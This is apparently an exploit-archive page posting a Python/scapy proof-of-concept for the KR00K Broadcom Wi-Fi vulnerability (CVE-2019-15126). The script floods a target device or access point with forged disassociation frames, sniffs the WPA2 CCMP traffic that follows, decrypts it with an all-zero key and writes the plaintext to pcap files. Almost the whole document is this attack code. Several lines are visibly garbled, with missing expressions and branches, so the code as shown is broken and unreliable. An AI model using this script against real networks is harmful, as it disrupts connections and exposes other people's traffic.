Broadcom Wi-Fi KR00K Proof Of Concept

Broadcom Wi-Fi device KR00K information disclosure proof of concept exploit. It works on WPA2 AES CCMP with Frequency 2.4GHz WLANs.

MD5 | 98b594cbe4b6ceea6d1932367e850f97

# Kr00ker
# Experimetal KR00K PoC in python3 using scapy
# Description:
# This script is a simple experiment to exploit the KR00K vulnerability (CVE-2019-15126),
# that allows to decrypt some WPA2 CCMP data in vulnerable devices.
# More specifically this script attempts to retrieve Plaintext Data of WPA2 CCMP packets knowning:
# * the TK (128 bites all zero)
# * the Nonce (sent plaintext in packet header)
# * the Encrypted Data
# Where:
# * WPA2 AES-CCMP decryption --> AES(Nonce,TK) XOR Encrypted Data = Decrypted Data
# * Decrypted stream starts with "\xaa\xaa\x03\x00\x00\x00"
# * Nonce (104 bits) = Priority (1byte) + SRC MAC (6bytes) + PN (6bytes)
# This PoC works on WPA2 AES CCMP with Frequency 2.4GHz WLANs.
# References:
# Copyright (C) 2020 Maurizio Siddu
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <>

import argparse, threading
import datetime, sys, re
from scapy.all import *
from scapy.layers.dot11 import RadioTap, Dot11, Dot11Deauth
from Cryptodome.Cipher import AES

# Proof of Sympathy ;-)
LOGO = """\
__ _ ____ __ __ __ _ ____ ____
( / )( _ \ / \ / \( / )( __)( _ \\
) ( ) /( 0 )( 0 )) ( ) _) ) /
(__\_)(__\_) \__/ \__/(__\_)(____)(__\_)

KR00K_PATTERN = b'\xaa\xaa\x03\x00\x00\x00'

class Krooker:
# Define Krooker class
def __init__(self, interface, target_mac, other_mac, reason, num, delay):
self.interface = interface
self.target_mac = target_mac
self.other_mac = other_mac
self.reason = reason
self.num = num
self.delay = delay

def wpa2_decrypt(self, enc_pkt):
# Try to decrypt the data contained in the sniffed packet
t_key = bytes.fromhex("00000000000000000000000000000000")
# This check is redundant
if not enc_pkt.haslayer(Dot11CCMP):
return None
dot11 = enc_pkt[Dot11]
dot11ccmp = enc_pkt[Dot11CCMP]

# Extract the Packet Number (IV)
PN = "{:02x}{:02x}{:02x}{:02x}{:02x}{:02x}".format(dot11ccmp.PN5,dot11ccmp.PN4,dot11ccmp.PN3,dot11ccmp.PN2,dot11ccmp.PN1,dot11ccmp.PN0)
# Extract the victim MAC address
source_addr = re.sub(':','',dot11.addr2)
# Extract the QoS tid
if enc_pkt.haslayer(Dot11QoS):
tid = "{:01x}".format(enc_pkt[Dot11QoS].TID)
tid = '0'
priority = tid + '0'
# Build the nonce
ccmp_nonce = bytes.fromhex(priority) + bytes.fromhex(source_addr) + bytes.fromhex(PN)

# Finally try to decrypt wpa2 data
enc_cipher =, AES.MODE_CCM, ccmp_nonce, mac_len=8)
decrypted_data = enc_cipher.decrypt([:-8])
return decrypted_data

def disassociate(self):
# Forge the dot11 disassociation packet
dis_packet = RadioTap()/Dot11(type=0, subtype=12, addr1=self.target_mac, addr2=self.other_mac, addr3=self.other_mac)/Dot11Deauth(reason=self.reason)
# Loop to send the disassociation packets to the victim device
while True:
# Repeat every delay value seconds
print("["+str("][+] Disassociation frames (reason "+str(self.reason)+") sent to target "+self.target_mac+" as sender endpoint "+self.other_mac)
sendp(dis_packet, iface=self.interface, count=self.num, verbose=False)

def check_packet(self, sniffed_pkt):
# Filter for WPA2 AES CCMP packets containing data to decrypt
if sniffed_pkt[Dot11].type == 2 and sniffed_pkt.haslayer(Dot11CCMP):
#print("["+str("][DEBUG] packet tipe:"+str(sniffed_pkt[Dot11].type)+" sub:"+str(sniffed_pkt[Dot11].subtype))
# Decrypt the packets using the all zero temporary key
dec_data = self.wpa2_decrypt(sniffed_pkt)
# Check if the target is vulnerable
if dec_data and dec_data[0:len(KR00K_PATTERN)] == KR00K_PATTERN:
print("["+str("][+] Target "+self.target_mac+" is vulnerable to Kr00k, decrypted "+str(len(dec_data))+" bytes")
# Save the encrypted and decrypted packets
print("["+str("][+] Saving encrypted and decrypted 'pcap' files in current folder")
dec_pkt = bytes.fromhex(re.sub(':','',self.target_mac) + re.sub(':','',self.other_mac)) + dec_data[6:]
wrpcap("enc_pkts.pcap", sniffed_pkt, append=True)
wrpcap("dec_pkts.pcap", dec_pkt, append=True)
# Uncomment this if you need a one-shoot PoC decryption
#print("["+str("][DEBUG] This data decryption with all zero TK went wrong")

def run_disassociation(self):
# Run disassociate function in a background thread
except KeyboardInterrupt:
print("\n["+str("][!] Exiting, caught keyboard interrupt")

def main():
# Passing arguments
parser = argparse.ArgumentParser(prog="", usage="%(prog)s -i <interface-name> -s <SSID> -c <MAC-client> -n <num-packets> -r <reason-id> -t <target-id> -w <wifi-channel> -d <delay>")
parser.add_argument("-i", "--interface", required=True, help="The Interface name that you want to send packets out of, it must be set in monitor mode", type=str)
parser.add_argument("-b", "--bssid", required=True, help="The MAC address of the Access Point to test", type=str)
parser.add_argument("-c", "--client", required=True, help="The MAC address of the Client Device to test", type=str)
parser.add_argument("-n", "--number", required=False, help="The Number of disassociation packets you want to send", type=int, default=1)
parser.add_argument("-r", "--reason", required=False, help="The Reason identifier of disassociation packets you want to send, accepted values from 1 to 99", type=int, default=0)
parser.add_argument("-t", "--target", required=False, help="The Target identifier", choices=["ap", "client"], type=str, default="ap")
parser.add_argument("-w", "--wifi_channel", required=False, help="The WiFi channel identifier", type=int, default="1")
parser.add_argument("-d", "--delay", required=False, help="The delay for disassociation frames", type=int, default="4")
args = parser.parse_args()

# Print the kr00ker logo

# Start the fun!!
interface = args.interface
ap_mac = args.bssid.lower()
client_mac = args.client.lower()
reason = args.reason
target_channel = args.wifi_channel
n_pkts = args.number
delay = args.delay

# Set the selected channel
if target_channel in range(1, 14):
os.system("iwconfig " + interface + " channel " + str(target_channel))
print("["+str("][-] Exiting, the specified channel "+target_channel+" is not valid")

# Check if valid device MAC Addresses have been specified
if client_mac == "ff:ff:ff:ff:ff:ff" or ap_mac == "ff:ff:ff:ff:ff:ff":
print("["+str("][-] Exiting, the specified FF:FF:FF:FF:FF:FF broadcast MAC address is not valid")

# Check if a valid reason have been specified
if reason not in range(1,99):
print("Exiting, specified a not valid disassociation Reason ID: "+str(reason))

# Set the MAC address of the target
if == "client":
target_mac = client_mac
other_mac = ap_mac
print("["+str("][+] The Client device "+target_mac+" will be the target")
target_mac = ap_mac
other_mac = client_mac
print("["+str("][+] The AP "+target_mac+" will be the target")

# Krooker instance initialization
krooker = Krooker(interface, target_mac, other_mac, reason, n_pkts, delay)

# Start a background thread to send disassociation packets
k_th = threading.Thread(target=krooker.run_disassociation)
k_th.daemon = True # This does not seem to be useful

# Start packet interception
s_filter = "ether src "+str(target_mac)+" and ether dst "+str(other_mac)+" and type Data"
sniff(iface=krooker.interface, filter=s_filter, prn=krooker.check_packet)

except KeyboardInterrupt:
print("\n["+str("][!] Exiting, caught keyboard interrupt")

except scapy.error.Scapy_Exception:
print("["+str("][!] Exiting, your wireless interface seems not in monitor mode")

if __name__ == "__main__":

Related Posts